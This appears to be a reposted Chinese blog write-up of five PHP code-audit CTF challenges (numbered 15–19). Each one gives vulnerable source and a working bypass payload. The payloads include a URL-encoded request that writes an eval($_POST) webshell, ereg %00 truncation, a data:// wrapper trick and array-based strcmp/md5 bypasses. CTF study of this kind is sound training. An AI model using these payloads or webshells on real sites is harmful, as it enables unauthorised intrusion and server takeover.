【代码审计】PHP代码审计之CTF系列(3)
2022-8-19 00:2:22 Author: 白帽子(查看原文) 阅读量:29 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

我们直接切入正题:

challenge 15

访问页面,查看源码

<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];
}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}

过程分析

观察代码,传递file参数和path参数。并且path参数不能有回溯符,而file参数开头必须是http://127.0.0.1这样的字符串,path的参数被用作生成的文档,而file则是写入的内容【这是表面现象】然而,真正的写入一句话的玄机是echo的这句话。payload:

http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php

写入一句话,直接菜刀列举网站目录即可。

file_get_contents() 函数
file_get_contents() 把整个文件读入一个字符串中。

语法
file_get_contents(path,include_path,context,start,max_length)

参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的
话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

绕过思路

1、URLencode进行参数加密处理【第二个file以参数形式传递,以及payload含有特殊字符】

2、满足条件,在echo语句中写一句话

challenge 16

访问页面,查看源代码

<?php
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
{
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>
过程分析

观察代码,需要满足的条件:

1、需要post提交

2、需要提交submit参数、hihi参数

3、hihi参数需要满足:

    a、以数字字母组成
b、长度小于11,
c、数值要大于999999999
d、并且需要包含`#HONG#`这样的字符。也就是最大长度从10位变成了4位,这条和第一条冲突,
为解决这个问题,可以利用ereg的%00截断,这样长度就变成了3位,一个三位数要满足c
的条件,就想到了科学计数法

4、payload

submit=任意字符&hihi=9e9%00#HONG#

5、从返回值得到flag    

绕过思路
1、ereg的%00截断

2、正则表达的基本语法

3、PHP中e字母在数字比较中特殊使用

challenge 17

访问页面,查看源代码

<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if (1) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>
过程分析

服务器会包含一个flag.php文件,为了最终die($flag)的顺利执行,需要绕过上面的各种验证,而逻辑本身有两处矛盾:

$_GET数组本身提取自QUERY_STRING,$_GET['^_^']中key包含_符号,而QUERY_STRING
却不允许。
file_exists需要寻找的文件必须不存在,但file_get_contents却能读到文件内容。
当然除了逻辑还有上面那一堆限制,比如参数的value但不可包含. % 0-9数字 http(s)
ftp telnet关键字,文件的内容为unicode的笑脸。
绕过思路

当.或[]之类的符号作为参数的key的时候,会被PHP改写为_。file_get_contents可以获取远程数据,但常用网络协议已经被正则过滤,因此需要选取其他协议。查阅PHP支持的协议和包装,发现RFC 2397的data协议可用。巧合的是,file_exists对于data指向内容判断为不存在。最终构造url为:

http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,(●'◡'●)

challenge 18

访问网页,查看源码

<?php
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");
}
else
{
die("ID错误1!");
}
}
else
die('账号密码错误!');
}
}
?>
过程分析

1、post接受参数login、user、其user和常量USER做比较,比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值

2、post值name、password,这两个值不能一样,但是md5的值要一样,这是全类型比较,所以这里也是破坏结构,传递数组

3、post的id值,需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格

4、payload为:login=1&user[]=2&name[]=xiaohong&password[]=xiaoming&id=72.0

绕过思路

1、PHP全类型比较和弱类型比较

2、不合规数据类型在函数中的特殊使用

3、strcmp、md5传递数组 返回 null

challenge 19

访问页面,查看源代码

$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
过程分析

1、if(strlen($sss)==666) $sss的长度等于 666

2、if(!preg_match("/[^0-6]/",$sss)) $sss只能包含 0--6 的数字

3、$sss !== '0x666'$sss == '0x666' 可知 $sss 的值需要等于数值 0x666,而又不能等于字符串 '0x666',其中涉及PHP的弱类型比较

绕过思路

需要创建一个长度为 666 ,只包含0 -- 6的数字,数值上等于 0x666且不等于字符串 '0x666'的参数,所以我们用八进制就可以搞定了。payload000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000003146

PHP进制说明:
1、十六进制:0x开头

2、八进制:0开头

3、二进制:0b开头

弱类型比较说明:
1、php7中不成立: if(1638=='0x666')echo 2;此为flase

2、php5中成立:if(1638=='0x666')echo 2;此为true

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246298&idx=2&sn=f7ab93d3c74b145d88f8cbd7a3869e97&chksm=82ea5733b59dde255da01b179652722d51994323f7e7398541ea91477afc6217d51a1251ef75#rd
如有侵权请联系:admin#unsafe.sh